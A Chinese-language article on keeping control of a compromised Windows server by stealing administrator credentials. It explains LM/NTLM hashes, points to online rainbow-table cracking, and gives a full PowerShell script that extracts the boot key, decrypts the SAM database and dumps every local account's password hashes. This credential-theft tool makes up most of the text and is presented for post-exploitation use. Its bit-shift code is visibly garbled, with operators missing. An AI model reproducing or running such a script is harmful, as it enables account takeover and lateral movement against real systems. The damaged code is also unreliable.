當你拿到了系統控制權之后如何才能更長的時間內控制已經拿到這臺機器呢？作為白帽子，已經在對手防線上撕開一個口子，如果你需要進一步擴大戰果，你首先需要做的就是潛伏下來，收集更多的信息便于你判斷，便于有更大的收獲。用什么方法才能有盡可能高的權限，同時能更有效的隱藏自己，是留webshell，留后門，種木馬還是Rootkit？webshell，哪怕是一句話木馬都很容易被管理員清除，放了木馬，也容易被有經驗的管理員查出，不管是早期自己創建進程，進程被干掉就完了，還是注入進程的木馬，或者是以服務自啟動的木馬，哪怕是替換次要的系統服務自己啟動的木馬，隱蔽性都太差了。不管后門留的如何完美，木馬免殺做的多好，最終還是做不到不留任何痕跡。
那什么方法才能達到目的，又不容易被發現呢？以管理員的身份來管理服務器不就行了么？不管管理員是用3389、pcanywhere、還是radmin管理服務器，獲取他的密碼，以他的身份進入系統不就得了，如果是域管理員密碼，整個域都會在你的控制之下了。獲取密碼的方法除了網絡嗅探，還可以獲取密碼Hash后通過彩虹表進行攻擊，本文將會介紹通過PowerShell獲取Windows系統密碼Hash的方法，有何密碼Hash就離拿到密碼不遠了。
早期SMB協議在網絡上傳輸明文口令。后來出現"LAN Manager Challenge/Response"驗證機制，簡稱LM，它是如此簡單以至很容易被破解。微軟提出了WindowsNT挑戰/響應驗證機制，稱之為NTLM。現在已經有了更新的NTLMv2以及Kerberos驗證體系。Windows加密過的密碼口令，我們稱之為hash（中文：哈希），Windows的系統密碼hash默認情況下一般由兩部分組成：第一部分是LM-hash，第二部分是NTLM-hash。
NTLM-Hash與LM-Hash算法相比，明文口令大小寫敏感，但無法根據NTLM-Hash判斷原始明文口令是否小于8字節，擺脫了魔術字符串"KGS!@#$%"。MD4是真正的單向哈希函數，窮舉做為數據源出現的明文，難度較大。問題在于，微軟一味強調NTLM-Hash的強度高，卻避而不談一個事實，為了保持向后兼容性，NTLM-Hash缺省總是與LM-Hash一起使用的。這意味著NTLM-Hash強調再高也是無助于安全的，相反潛在損害著安全性。增加NTLM-Hash后，首先利用LM-Hash的弱點窮舉出原始明文口令的大小寫不敏感版本，再利用NTLM-Hash修正出原始明文口令的大小寫敏感版本。
Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::表示
用戶名稱為：Administrator
RID為：500
LM-HASH值為：C8825DB10F2590EAAAD3B435B51404EE
NT-HASH值為：683020925C5D8569C23AA724774CE6CC
如果你知道這個用戶的hash密碼了，拿著C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC去hash在線查詢網站http://www.objectif-securite.ch/en/ophcrack.php查一下很容易就能得到密碼。
function Get-WinPassHashes
{
# Author:fuhj(powershell#live.cn ,http://fuhaijun.com)
# Get windows password hash and returns the hash list
#.Example
# Get-WinPassHashes
#
#>
[CmdletBinding()]
Param ()
function LoadApi
{
$oldErrorAction = $global:ErrorActionPreference;
$global:ErrorActionPreference = "SilentlyContinue";
$test = [PowerDump.Native];
$global:ErrorActionPreference = $oldErrorAction;
if ($test)
{
# already loaded
return;
}
$code = @'
using System;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Text;
namespace PowerDump
{
public class Native
{
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegOpenKeyEx(
int hKey,
string subKey,
int ulOptions,
int samDesired,
out int hkResult);
[DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
extern public static int RegEnumKeyEx(
int hkey,
int index,
StringBuilder lpName,
ref int lpcbName,
int reserved,
StringBuilder lpClass,
ref int lpcbClass,
out long lpftLastWriteTime);
[DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
extern public static int RegQueryInfoKey(
int hkey,
StringBuilder lpClass,
ref int lpcbClass,
int lpReserved,
out int lpcSubKeys,
out int lpcbMaxSubKeyLen,
out int lpcbMaxClassLen,
out int lpcValues,
out int lpcbMaxValueNameLen,
out int lpcbMaxValueLen,
out int lpcbSecurityDescriptor,
IntPtr lpftLastWriteTime);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern int RegCloseKey(
int hKey);
}
} // end namespace PowerDump
public class Shift {
public static int Right(int x, int count) { return x >> count; }
public static uint Right(uint x, int count) { return x >> count; }
public static long Right(long x, int count) { return x >> count; }
public static ulong Right(ulong x, int count) { return x >> count; }
public static int Left(int x, int count) { return x count; }
public static uint Left(uint x, int count) { return x count; }
public static long Left(long x, int count) { return x count; }
public static ulong Left(ulong x, int count) { return x count; }
}
'@
$provider = New-Object Microsoft.CSharp.CSharpCodeProvider
$dllName = [PsObject].Assembly.Location
$compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
$assemblies = @("System.dll", $dllName)
$compilerParameters.ReferencedAssemblies.AddRange($assemblies)
$compilerParameters.GenerateInMemory = $true
$compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
if($compilerResults.Errors.Count -gt 0) {
$compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) }
}
}
$antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");
$almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");
$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
$odd_parity = @(
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
);
function sid_to_key($sid)
{
$s1 = @();
$s1 += [char]($sid -band 0xFF);
$s1 += [char]([Shift]::Right($sid,8) -band 0xFF);
$s1 += [char]([Shift]::Right($sid,16) -band 0xFF);
$s1 += [char]([Shift]::Right($sid,24) -band 0xFF);
$s1 += $s1[0];
$s1 += $s1[1];
$s1 += $s1[2];
$s2 = @();
$s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
$s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
return ,((str_to_key $s1),(str_to_key $s2));
}
function str_to_key($s)
{
$key = @();
$key += [Shift]::Right([int]($s[0]), 1 );
$key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2);
$key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3);
$key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4);
$key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5);
$key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6);
$key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7);
$key += $([int]($s[6]) -band 0x7F);
0..7 | %{
$key[$_] = [Shift]::Left($key[$_], 1);
$key[$_] = $odd_parity[$key[$_]];
}
return ,$key;
}
function NewRC4([byte[]]$key)
{
return new-object Object |
Add-Member NoteProperty key $key -PassThru |
Add-Member NoteProperty S $null -PassThru |
Add-Member ScriptMethod init {
if (-not $this.S)
{
[byte[]]$this.S = 0..255;
0..255 | % -begin{[long]$j=0;}{
$j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length;
$temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp;
}
}
} -PassThru |
Add-Member ScriptMethod "encrypt" {
$data = $args[0];
$this.init();
$outbuf = new-object byte[] $($data.Length);
$S2 = $this.S[0..$this.S.Length];
0..$($data.Length-1) | % -begin{$i=0;$j=0;} {
$i = ($i+1) % $S2.Length;
$j = ($j + $S2[$i]) % $S2.Length;
$temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp;
$a = $data[$_];
$b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
$outbuf[$_] = ($a -bxor $b);
}
return ,$outbuf;
} -PassThru
}
function des_encrypt([byte[]]$data, [byte[]]$key)
{
return ,(des_transform $data $key $true)
}
function des_decrypt([byte[]]$data, [byte[]]$key)
{
return ,(des_transform $data $key $false)
}
function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt)
{
$des = new-object Security.Cryptography.DESCryptoServiceProvider;
$des.Mode = [Security.Cryptography.CipherMode]::ECB;
$des.Padding = [Security.Cryptography.PaddingMode]::None;
$des.Key = $key;
$des.IV = $key;
$transform = $null;
if ($doEncrypt) {$transform = $des.CreateEncryptor();}
else{$transform = $des.CreateDecryptor();}
$result = $transform.TransformFinalBlock($data, 0, $data.Length);
return ,$result;
}
function Get-RegKeyClass([string]$key, [string]$subkey)
{
switch ($Key) {
"HKCR" { $nKey = 0x80000000} #HK Classes Root
"HKCU" { $nKey = 0x80000001} #HK Current User
"HKLM" { $nKey = 0x80000002} #HK Local Machine
"HKU" { $nKey = 0x80000003} #HK Users
"HKCC" { $nKey = 0x80000005} #HK Current Config
default {
throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
}
}
$KEYQUERYVALUE = 0x1;
$KEYREAD = 0x19;
$KEYALLACCESS = 0x3F;
$result = "";
[int]$hkey=0
if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
{
$classVal = New-Object Text.Stringbuilder 1024
[int]$len = 1024
if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
[ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
{
$result = $classVal.ToString()
}
else
{
Write-Error "RegQueryInfoKey failed";
}
[PowerDump.Native]::RegCloseKey($hkey) | Out-Null
}
else
{
Write-Error "Cannot open key";
}
return $result;
}
function Get-BootKey
{
$s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"}));
$b = new-object byte[] $($s.Length/2);
0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)}
$b2 = new-object byte[] 16;
0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++}
return ,$b2;
}
function Get-HBootKey
{
param([byte[]]$bootkey);
$aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@%`0");
$anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0");
$k = Get-Item HKLM:\SAM\SAM\Domains\Account;
if (-not $k) {return $null}
[byte[]]$F = $k.GetValue("F");
if (-not $F) {return $null}
$rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum);
$rc4 = NewRC4 $rc4key;
return ,($rc4.encrypt($F[0x80..0x9F]));
}
function Get-UserName([byte[]]$V)
{
if (-not $V) {return $null};
$offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
$len = [BitConverter]::ToInt32($V[0x10..0x13],0);
return [Text.Encoding]::Unicode.GetString($V, $offset, $len);
}
function Get-UserHashes($u, [byte[]]$hbootkey)
{
[byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
if ($u.HashOffset + 0x28 -lt $u.V.Length)
{
$lm_hash_offset = $u.HashOffset + 4;
$nt_hash_offset = $u.HashOffset + 8 + 0x10;
$enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
$enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
}
elseif ($u.HashOffset + 0x14 -lt $u.V.Length)
{
$nt_hash_offset = $u.HashOffset + 8;
$enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
}
return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey);
}
function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey)
{
[byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt;
# LM Hash
if ($enc_lm_hash)
{
$lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;
}
# NT Hash
if ($enc_nt_hash)
{
$nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword;
}
return ,($lmhash,$nthash)
}
function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr)
{
$deskeys = sid_to_key $rid;
$md5 = [Security.Cryptography.MD5]::Create();
$rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);
$rc4 = NewRC4 $rc4_key;
$obfkey = $rc4.encrypt($enc_hash);
$hash = (des_decrypt $obfkey[0..7] $deskeys[0]) +
(des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]);
return ,$hash;
}
function Get-UserKeys
{
ls HKLM:\SAM\SAM\Domains\Account\Users |
where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} |
Add-Member AliasProperty KeyName PSChildName -PassThru |
Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru |
Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru |
Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru
}
function DumpHashes
{
LoadApi
$bootkey = Get-BootKey;
$hbootKey = Get-HBootKey $bootkey;
Get-UserKeys | %{
$hashes = Get-UserHashes $_ $hBootKey;
"{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid,
[BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(),
[BitConverter]::ToString($hashes[1]).Replace("-","").ToLower());
}
}
DumpHashes
}
